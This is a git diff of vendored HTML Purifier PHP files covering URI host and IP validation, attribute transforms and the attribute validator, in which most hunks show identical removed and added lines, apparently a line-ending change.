(!$encodable) { + $new_parts[] = $part; + } else { + $new_parts[] = $idna->encode($part); + } + } + $string = implode('.', $new_parts); + } catch (Exception $e) { + // XXX error reporting + } + } + // Try again + if (preg_match("/^($domainlabel\.)*$toplabel\.?$/i", $string)) { + return $string; + } + return false; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv4.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv4.php index bbc8a77e32..30ac16c9e7 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv4.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv4.php @@ -1,45 +1,45 @@ -ip4) { - $this->_loadRegex(); - } - - if (preg_match('#^' . $this->ip4 . '$#s', $aIP)) { - return $aIP; - } - return false; - } - - /** - * Lazy load function to prevent regex from being stuffed in - * cache. - */ - protected function _loadRegex() - { - $oct = '(?:25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9][0-9]|[0-9])'; // 0-255 - $this->ip4 = "(?:{$oct}\\.{$oct}\\.{$oct}\\.{$oct})"; - } -} - -// vim: et sw=4 sts=4 +ip4) { + $this->_loadRegex(); + } + + if (preg_match('#^' . $this->ip4 . '$#s', $aIP)) { + return $aIP; + } + return false; + } + + /** + * Lazy load function to prevent regex from being stuffed in + * cache. + */ + protected function _loadRegex() + { + $oct = '(?:25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9][0-9]|[0-9])'; // 0-255 + $this->ip4 = "(?:{$oct}\\.{$oct}\\.{$oct}\\.{$oct})"; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv6.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv6.php index 67f148bd83..f243793eeb 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv6.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/URI/IPv6.php @@ -1,89 +1,89 @@ -ip4) { - $this->_loadRegex(); - } - - $original = $aIP; - - $hex = '[0-9a-fA-F]'; - $blk = '(?:' . $hex . '{1,4})'; - $pre = '(?:/(?:12[0-8]|1[0-1][0-9]|[1-9][0-9]|[0-9]))'; // /0 - /128 - - // prefix check - if (strpos($aIP, '/') !== false) { - if (preg_match('#' . $pre . '$#s', $aIP, $find)) { - $aIP = substr($aIP, 0, 0 - strlen($find[0])); - unset($find); - } else { - return false; - } - } - - // IPv4-compatiblity check - if (preg_match('#(?<=:' . ')' . $this->ip4 . '$#s', $aIP, $find)) { - $aIP = substr($aIP, 0, 0 - strlen($find[0])); - $ip = explode('.', $find[0]); - $ip = array_map('dechex', $ip); - $aIP .= $ip[0] . $ip[1] . ':' . $ip[2] . $ip[3]; - unset($find, $ip); - } - - // compression check - $aIP = explode('::', $aIP); - $c = count($aIP); - if ($c > 2) { - return false; - } elseif ($c == 2) { - list($first, $second) = $aIP; - $first = explode(':', $first); - $second = explode(':', $second); - - if (count($first) + count($second) > 8) { - return false; - } - - while (count($first) < 8) { - array_push($first, '0'); - } - - array_splice($first, 8 - count($second), 8, $second); - $aIP = $first; - unset($first, $second); - } else { - $aIP = explode(':', $aIP[0]); - } - $c = count($aIP); - - if ($c != 8) { - return false; - } - - // All the pieces should be 16-bit hex strings. Are they? - foreach ($aIP as $piece) { - if (!preg_match('#^[0-9a-fA-F]{4}$#s', sprintf('%04s', $piece))) { - return false; - } - } - return $original; - } -} - -// vim: et sw=4 sts=4 +ip4) { + $this->_loadRegex(); + } + + $original = $aIP; + + $hex = '[0-9a-fA-F]'; + $blk = '(?:' . $hex . '{1,4})'; + $pre = '(?:/(?:12[0-8]|1[0-1][0-9]|[1-9][0-9]|[0-9]))'; // /0 - /128 + + // prefix check + if (strpos($aIP, '/') !== false) { + if (preg_match('#' . $pre . '$#s', $aIP, $find)) { + $aIP = substr($aIP, 0, 0 - strlen($find[0])); + unset($find); + } else { + return false; + } + } + + // IPv4-compatiblity check + if (preg_match('#(?<=:' . ')' . $this->ip4 . '$#s', $aIP, $find)) { + $aIP = substr($aIP, 0, 0 - strlen($find[0])); + $ip = explode('.', $find[0]); + $ip = array_map('dechex', $ip); + $aIP .= $ip[0] . $ip[1] . ':' . $ip[2] . $ip[3]; + unset($find, $ip); + } + + // compression check + $aIP = explode('::', $aIP); + $c = count($aIP); + if ($c > 2) { + return false; + } elseif ($c == 2) { + list($first, $second) = $aIP; + $first = explode(':', $first); + $second = explode(':', $second); + + if (count($first) + count($second) > 8) { + return false; + } + + while (count($first) < 8) { + array_push($first, '0'); + } + + array_splice($first, 8 - count($second), 8, $second); + $aIP = $first; + unset($first, $second); + } else { + $aIP = explode(':', $aIP[0]); + } + $c = count($aIP); + + if ($c != 8) { + return false; + } + + // All the pieces should be 16-bit hex strings. Are they? + foreach ($aIP as $piece) { + if (!preg_match('#^[0-9a-fA-F]{4}$#s', sprintf('%04s', $piece))) { + return false; + } + } + return $original; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform.php index d9baaf394f..b428331f15 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform.php @@ -1,60 +1,60 @@ -confiscateAttr($attr, 'background'); - // some validation should happen here - - $this->prependCSS($attr, "background-image:url($background);"); - return $attr; - } -} - -// vim: et sw=4 sts=4 +confiscateAttr($attr, 'background'); + // some validation should happen here + + $this->prependCSS($attr, "background-image:url($background);"); + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BdoDir.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BdoDir.php index 86dcb17e4b..d66c04a5b8 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BdoDir.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BdoDir.php @@ -1,27 +1,27 @@ -get('Attr.DefaultTextDir'); - return $attr; - } -} - -// vim: et sw=4 sts=4 +get('Attr.DefaultTextDir'); + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BgColor.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BgColor.php index e45e9ba376..0f51fd2cec 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BgColor.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BgColor.php @@ -1,28 +1,28 @@ -confiscateAttr($attr, 'bgcolor'); - // some validation should happen here - - $this->prependCSS($attr, "background-color:$bgcolor;"); - return $attr; - } -} - -// vim: et sw=4 sts=4 +confiscateAttr($attr, 'bgcolor'); + // some validation should happen here + + $this->prependCSS($attr, "background-color:$bgcolor;"); + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BoolToCSS.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BoolToCSS.php index 29d7ff2698..f25cd01955 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BoolToCSS.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/BoolToCSS.php @@ -1,47 +1,47 @@ -attr = $attr; - $this->css = $css; - } - - /** - * @param array $attr - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return array - */ - public function transform($attr, $config, $context) - { - if (!isset($attr[$this->attr])) { - return $attr; - } - unset($attr[$this->attr]); - $this->prependCSS($attr, $this->css); - return $attr; - } -} - -// vim: et sw=4 sts=4 +attr = $attr; + $this->css = $css; + } + + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + if (!isset($attr[$this->attr])) { + return $attr; + } + unset($attr[$this->attr]); + $this->prependCSS($attr, $this->css); + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Border.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Border.php index 90a8dea877..057dc017fa 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Border.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Border.php @@ -1,26 +1,26 @@ -confiscateAttr($attr, 'border'); - // some validation should happen here - $this->prependCSS($attr, "border:{$border_width}px solid;"); - return $attr; - } -} - -// vim: et sw=4 sts=4 +confiscateAttr($attr, 'border'); + // some validation should happen here + $this->prependCSS($attr, "border:{$border_width}px solid;"); + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/EnumToCSS.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/EnumToCSS.php index e2bfbf0072..7ccd0e3fb7 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/EnumToCSS.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/EnumToCSS.php @@ -1,68 +1,68 @@ -attr = $attr; - $this->enumToCSS = $enum_to_css; - $this->caseSensitive = (bool)$case_sensitive; - } - - /** - * @param array $attr - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return array - */ - public function transform($attr, $config, $context) - { - if (!isset($attr[$this->attr])) { - return $attr; - } - - $value = trim($attr[$this->attr]); - unset($attr[$this->attr]); - - if (!$this->caseSensitive) { - $value = strtolower($value); - } - - if (!isset($this->enumToCSS[$value])) { - return $attr; - } - $this->prependCSS($attr, $this->enumToCSS[$value]); - return $attr; - } -} - -// vim: et sw=4 sts=4 +attr = $attr; + $this->enumToCSS = $enum_to_css; + $this->caseSensitive = (bool)$case_sensitive; + } + + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + if (!isset($attr[$this->attr])) { + return $attr; + } + + $value = trim($attr[$this->attr]); + unset($attr[$this->attr]); + + if (!$this->caseSensitive) { + $value = strtolower($value); + } + + if (!isset($this->enumToCSS[$value])) { + return $attr; + } + $this->prependCSS($attr, $this->enumToCSS[$value]); + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Length.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Length.php index c4bfd9760b..853f33549b 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Length.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Length.php @@ -1,45 +1,45 @@ -name = $name; - $this->cssName = $css_name ? $css_name : $name; - } - - /** - * @param array $attr - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return array - */ - public function transform($attr, $config, $context) - { - if (!isset($attr[$this->name])) { - return $attr; - } - $length = $this->confiscateAttr($attr, $this->name); - if (ctype_digit($length)) { - $length .= 'px'; - } - $this->prependCSS($attr, $this->cssName . ":$length;"); - return $attr; - } -} - -// vim: et sw=4 sts=4 +name = $name; + $this->cssName = $css_name ? $css_name : $name; + } + + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + if (!isset($attr[$this->name])) { + return $attr; + } + $length = $this->confiscateAttr($attr, $this->name); + if (ctype_digit($length)) { + $length .= 'px'; + } + $this->prependCSS($attr, $this->cssName . ":$length;"); + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Name.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Name.php index a874d0f7ae..63cce6837a 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Name.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Name.php @@ -1,33 +1,33 @@ -get('HTML.Attr.Name.UseCDATA')) { - return $attr; - } - if (!isset($attr['name'])) { - return $attr; - } - $id = $this->confiscateAttr($attr, 'name'); - if (isset($attr['id'])) { - return $attr; - } - $attr['id'] = $id; - return $attr; - } -} - -// vim: et sw=4 sts=4 +get('HTML.Attr.Name.UseCDATA')) { + return $attr; + } + if (!isset($attr['name'])) { + return $attr; + } + $id = $this->confiscateAttr($attr, 'name'); + if (isset($attr['id'])) { + return $attr; + } + $attr['id'] = $id; + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/NameSync.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/NameSync.php index 457f8110f0..36079b786f 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/NameSync.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/NameSync.php @@ -1,41 +1,41 @@ -idDef = new HTMLPurifier_AttrDef_HTML_ID(); - } - - /** - * @param array $attr - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return array - */ - public function transform($attr, $config, $context) - { - if (!isset($attr['name'])) { - return $attr; - } - $name = $attr['name']; - if (isset($attr['id']) && $attr['id'] === $name) { - return $attr; - } - $result = $this->idDef->validate($name, $config, $context); - if ($result === false) { - unset($attr['name']); - } else { - $attr['name'] = $result; - } - return $attr; - } -} - -// vim: et sw=4 sts=4 +idDef = new HTMLPurifier_AttrDef_HTML_ID(); + } + + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + if (!isset($attr['name'])) { + return $attr; + } + $name = $attr['name']; + if (isset($attr['id']) && $attr['id'] === $name) { + return $attr; + } + $result = $this->idDef->validate($name, $config, $context); + if ($result === false) { + unset($attr['name']); + } else { + $attr['name'] = $result; + } + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Nofollow.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Nofollow.php index 25173c219f..1057ebee1b 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Nofollow.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/Nofollow.php @@ -1,52 +1,52 @@ -parser = new HTMLPurifier_URIParser(); - } - - /** - * @param array $attr - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return array - */ - public function transform($attr, $config, $context) - { - if (!isset($attr['href'])) { - return $attr; - } - - // XXX Kind of inefficient - $url = $this->parser->parse($attr['href']); - $scheme = $url->getSchemeObj($config, $context); - - if ($scheme->browsable && !$url->isLocal($config, $context)) { - if (isset($attr['rel'])) { - $rels = explode(' ', $attr['rel']); - if (!in_array('nofollow', $rels)) { - $rels[] = 'nofollow'; - } - $attr['rel'] = implode(' ', $rels); - } else { - $attr['rel'] = 'nofollow'; - } - } - return $attr; - } -} - -// vim: et sw=4 sts=4 +parser = new HTMLPurifier_URIParser(); + } + + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + if (!isset($attr['href'])) { + return $attr; + } + + // XXX Kind of inefficient + $url = $this->parser->parse($attr['href']); + $scheme = $url->getSchemeObj($config, $context); + + if ($scheme->browsable && !$url->isLocal($config, $context)) { + if (isset($attr['rel'])) { + $rels = explode(' ', $attr['rel']); + if (!in_array('nofollow', $rels)) { + $rels[] = 'nofollow'; + } + $attr['rel'] = implode(' ', $rels); + } else { + $attr['rel'] = 'nofollow'; + } + } + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeEmbed.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeEmbed.php index 98ebf49bfb..231c81a3f0 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeEmbed.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/SafeEmbed.php @@ -1,25 +1,25 @@ -uri = new HTMLPurifier_AttrDef_URI(true); // embedded - $this->wmode = new HTMLPurifier_AttrDef_Enum(array('window', 'opaque', 'transparent')); - } - - /** - * @param array $attr - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return array - */ - public function transform($attr, $config, $context) - { - // If we add support for other objects, we'll need to alter the - // transforms. - switch ($attr['name']) { - // application/x-shockwave-flash - // Keep this synchronized with Injector/SafeObject.php - case 'allowScriptAccess': - $attr['value'] = 'never'; - break; - case 'allowNetworking': - $attr['value'] = 'internal'; - break; - case 'allowFullScreen': - if ($config->get('HTML.FlashAllowFullScreen')) { - $attr['value'] = ($attr['value'] == 'true') ? 'true' : 'false'; - } else { - $attr['value'] = 'false'; - } - break; - case 'wmode': - $attr['value'] = $this->wmode->validate($attr['value'], $config, $context); - break; - case 'movie': - case 'src': - $attr['name'] = "movie"; - $attr['value'] = $this->uri->validate($attr['value'], $config, $context); - break; - case 'flashvars': - // we're going to allow arbitrary inputs to the SWF, on - // the reasoning that it could only hack the SWF, not us. - break; - // add other cases to support other param name/value pairs - default: - $attr['name'] = $attr['value'] = null; - } - return $attr; - } -} - -// vim: et sw=4 sts=4 +uri = new HTMLPurifier_AttrDef_URI(true); // embedded + $this->wmode = new HTMLPurifier_AttrDef_Enum(array('window', 'opaque', 'transparent')); + } + + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + // If we add support for other objects, we'll need to alter the + // transforms. + switch ($attr['name']) { + // application/x-shockwave-flash + // Keep this synchronized with Injector/SafeObject.php + case 'allowScriptAccess': + $attr['value'] = 'never'; + break; + case 'allowNetworking': + $attr['value'] = 'internal'; + break; + case 'allowFullScreen': + if ($config->get('HTML.FlashAllowFullScreen')) { + $attr['value'] = ($attr['value'] == 'true') ? 'true' : 'false'; + } else { + $attr['value'] = 'false'; + } + break; + case 'wmode': + $attr['value'] = $this->wmode->validate($attr['value'], $config, $context); + break; + case 'movie': + case 'src': + $attr['name'] = "movie"; + $attr['value'] = $this->uri->validate($attr['value'], $config, $context); + break; + case 'flashvars': + // we're going to allow arbitrary inputs to the SWF, on + // the reasoning that it could only hack the SWF, not us. + break; + // add other cases to support other param name/value pairs + default: + $attr['name'] = $attr['value'] = null; + } + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ScriptRequired.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ScriptRequired.php index 49445b43f1..b7057bbf8e 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ScriptRequired.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/ScriptRequired.php @@ -1,23 +1,23 @@ - - */ -class HTMLPurifier_AttrTransform_ScriptRequired extends HTMLPurifier_AttrTransform -{ - /** - * @param array $attr - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return array - */ - public function transform($attr, $config, $context) - { - if (!isset($attr['type'])) { - $attr['type'] = 'text/javascript'; - } - return $attr; - } -} - -// vim: et sw=4 sts=4 + + */ +class HTMLPurifier_AttrTransform_ScriptRequired extends HTMLPurifier_AttrTransform +{ + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + if (!isset($attr['type'])) { + $attr['type'] = 'text/javascript'; + } + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/TargetBlank.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/TargetBlank.php index f66dcf8c4e..dd63ea89cb 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/TargetBlank.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/TargetBlank.php @@ -1,45 +1,45 @@ -parser = new HTMLPurifier_URIParser(); - } - - /** - * @param array $attr - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return array - */ - public function transform($attr, $config, $context) - { - if (!isset($attr['href'])) { - return $attr; - } - - // XXX Kind of inefficient - $url = $this->parser->parse($attr['href']); - $scheme = $url->getSchemeObj($config, $context); - - if ($scheme->browsable && !$url->isBenign($config, $context)) { - $attr['target'] = '_blank'; - } - return $attr; - } -} - -// vim: et sw=4 sts=4 +parser = new HTMLPurifier_URIParser(); + } + + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + if (!isset($attr['href'])) { + return $attr; + } + + // XXX Kind of inefficient + $url = $this->parser->parse($attr['href']); + $scheme = $url->getSchemeObj($config, $context); + + if ($scheme->browsable && !$url->isBenign($config, $context)) { + $attr['target'] = '_blank'; + } + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/TargetNoopener.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/TargetNoopener.php index ab4c09721c..1db3c6c09e 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/TargetNoopener.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTransform/TargetNoopener.php @@ -1,37 +1,37 @@ - - */ -class HTMLPurifier_AttrTransform_Textarea extends HTMLPurifier_AttrTransform -{ - /** - * @param array $attr - * @param HTMLPurifier_Config $config - * @param HTMLPurifier_Context $context - * @return array - */ - public function transform($attr, $config, $context) - { - // Calculated from Firefox - if (!isset($attr['cols'])) { - $attr['cols'] = '22'; - } - if (!isset($attr['rows'])) { - $attr['rows'] = '3'; - } - return $attr; - } -} - -// vim: et sw=4 sts=4 + + */ +class HTMLPurifier_AttrTransform_Textarea extends HTMLPurifier_AttrTransform +{ + /** + * @param array $attr + * @param HTMLPurifier_Config $config + * @param HTMLPurifier_Context $context + * @return array + */ + public function transform($attr, $config, $context) + { + // Calculated from Firefox + if (!isset($attr['cols'])) { + $attr['cols'] = '22'; + } + if (!isset($attr['rows'])) { + $attr['rows'] = '3'; + } + return $attr; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTypes.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTypes.php index 7e8019bd0b..3b70520b6a 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTypes.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrTypes.php @@ -1,96 +1,96 @@ -info['Enum'] = new HTMLPurifier_AttrDef_Enum(); - $this->info['Bool'] = new HTMLPurifier_AttrDef_HTML_Bool(); - - $this->info['CDATA'] = new HTMLPurifier_AttrDef_Text(); - $this->info['ID'] = new HTMLPurifier_AttrDef_HTML_ID(); - $this->info['Length'] = new HTMLPurifier_AttrDef_HTML_Length(); - $this->info['MultiLength'] = new HTMLPurifier_AttrDef_HTML_MultiLength(); - $this->info['NMTOKENS'] = new HTMLPurifier_AttrDef_HTML_Nmtokens(); - $this->info['Pixels'] = new HTMLPurifier_AttrDef_HTML_Pixels(); - $this->info['Text'] = new HTMLPurifier_AttrDef_Text(); - $this->info['URI'] = new HTMLPurifier_AttrDef_URI(); - $this->info['LanguageCode'] = new HTMLPurifier_AttrDef_Lang(); - $this->info['Color'] = new HTMLPurifier_AttrDef_HTML_Color(); - $this->info['IAlign'] = self::makeEnum('top,middle,bottom,left,right'); - $this->info['LAlign'] = self::makeEnum('top,bottom,left,right'); - $this->info['FrameTarget'] = new HTMLPurifier_AttrDef_HTML_FrameTarget(); - - // unimplemented aliases - $this->info['ContentType'] = new HTMLPurifier_AttrDef_Text(); - $this->info['ContentTypes'] = new HTMLPurifier_AttrDef_Text(); - $this->info['Charsets'] = new HTMLPurifier_AttrDef_Text(); - $this->info['Character'] = new HTMLPurifier_AttrDef_Text(); - - // "proprietary" types - $this->info['Class'] = new HTMLPurifier_AttrDef_HTML_Class(); - - // number is really a positive integer (one or more digits) - // FIXME: ^^ not always, see start and value of list items - $this->info['Number'] = new HTMLPurifier_AttrDef_Integer(false, false, true); - } - - private static function makeEnum($in) - { - return new HTMLPurifier_AttrDef_Clone(new HTMLPurifier_AttrDef_Enum(explode(',', $in))); - } - - /** - * Retrieves a type - * @param string $type String type name - * @return HTMLPurifier_AttrDef Object AttrDef for type - */ - public function get($type) - { - // determine if there is any extra info tacked on - if (strpos($type, '#') !== false) { - list($type, $string) = explode('#', $type, 2); - } else { - $string = ''; - } - - if (!isset($this->info[$type])) { - trigger_error('Cannot retrieve undefined attribute type ' . $type, E_USER_ERROR); - return; - } - return $this->info[$type]->make($string); - } - - /** - * Sets a new implementation for a type - * @param string $type String type name - * @param HTMLPurifier_AttrDef $impl Object AttrDef for type - */ - public function set($type, $impl) - { - $this->info[$type] = $impl; - } -} - -// vim: et sw=4 sts=4 +info['Enum'] = new HTMLPurifier_AttrDef_Enum(); + $this->info['Bool'] = new HTMLPurifier_AttrDef_HTML_Bool(); + + $this->info['CDATA'] = new HTMLPurifier_AttrDef_Text(); + $this->info['ID'] = new HTMLPurifier_AttrDef_HTML_ID(); + $this->info['Length'] = new HTMLPurifier_AttrDef_HTML_Length(); + $this->info['MultiLength'] = new HTMLPurifier_AttrDef_HTML_MultiLength(); + $this->info['NMTOKENS'] = new HTMLPurifier_AttrDef_HTML_Nmtokens(); + $this->info['Pixels'] = new HTMLPurifier_AttrDef_HTML_Pixels(); + $this->info['Text'] = new HTMLPurifier_AttrDef_Text(); + $this->info['URI'] = new HTMLPurifier_AttrDef_URI(); + $this->info['LanguageCode'] = new HTMLPurifier_AttrDef_Lang(); + $this->info['Color'] = new HTMLPurifier_AttrDef_HTML_Color(); + $this->info['IAlign'] = self::makeEnum('top,middle,bottom,left,right'); + $this->info['LAlign'] = self::makeEnum('top,bottom,left,right'); + $this->info['FrameTarget'] = new HTMLPurifier_AttrDef_HTML_FrameTarget(); + + // unimplemented aliases + $this->info['ContentType'] = new HTMLPurifier_AttrDef_Text(); + $this->info['ContentTypes'] = new HTMLPurifier_AttrDef_Text(); + $this->info['Charsets'] = new HTMLPurifier_AttrDef_Text(); + $this->info['Character'] = new HTMLPurifier_AttrDef_Text(); + + // "proprietary" types + $this->info['Class'] = new HTMLPurifier_AttrDef_HTML_Class(); + + // number is really a positive integer (one or more digits) + // FIXME: ^^ not always, see start and value of list items + $this->info['Number'] = new HTMLPurifier_AttrDef_Integer(false, false, true); + } + + private static function makeEnum($in) + { + return new HTMLPurifier_AttrDef_Clone(new HTMLPurifier_AttrDef_Enum(explode(',', $in))); + } + + /** + * Retrieves a type + * @param string $type String type name + * @return HTMLPurifier_AttrDef Object AttrDef for type + */ + public function get($type) + { + // determine if there is any extra info tacked on + if (strpos($type, '#') !== false) { + list($type, $string) = explode('#', $type, 2); + } else { + $string = ''; + } + + if (!isset($this->info[$type])) { + trigger_error('Cannot retrieve undefined attribute type ' . $type, E_USER_ERROR); + return; + } + return $this->info[$type]->make($string); + } + + /** + * Sets a new implementation for a type + * @param string $type String type name + * @param HTMLPurifier_AttrDef $impl Object AttrDef for type + */ + public function set($type, $impl) + { + $this->info[$type] = $impl; + } +} + +// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrValidator.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrValidator.php index 1a2b0b673e..f97dc93edd 100644 --- a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrValidator.php +++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrValidator.php @@ -1,178 +1,178 @@ -getHTMLDefinition(); - $e =& $context->get('ErrorCollector', true); - - // initialize IDAccumulator if necessary - $ok =& $context->get('IDAccumulator', true); - if (!$ok) { - $id_accumulator = HTMLPurifier_IDAccumulator::build($config, $context); - $context->register('IDAccumulator', $id_accumulator); - } - - // initialize CurrentToken if necessary - $current_token =& $context->get('CurrentToken', true); - if (!$current_token) { - $context->register('CurrentToken', $token); - } - - if (!$token instanceof HTMLPurifier_Token_Start && - !$token instanceof HTMLPurifier_Token_Empty - ) { - return; - } - - // create alias to global definition array, see also $defs - // DEFINITION CALL - $d_defs = $definition->info_global_attr; - - // don't update token until the very end, to ensure an atomic update - $attr = $token->attr; - - // do global transformations (pre) - // nothing currently utilizes this - foreach ($definition->info_attr_transform_pre as $transform) { - $attr = $transform->transform($o = $attr, $config, $context); - if ($e) { - if ($attr != $o) { - $e->send(E_NOTICE, 'AttrValidator: Attributes transformed', $o, $attr); - } - } - } - - // do local transformations only applicable to this element (pre) - // ex.

    to

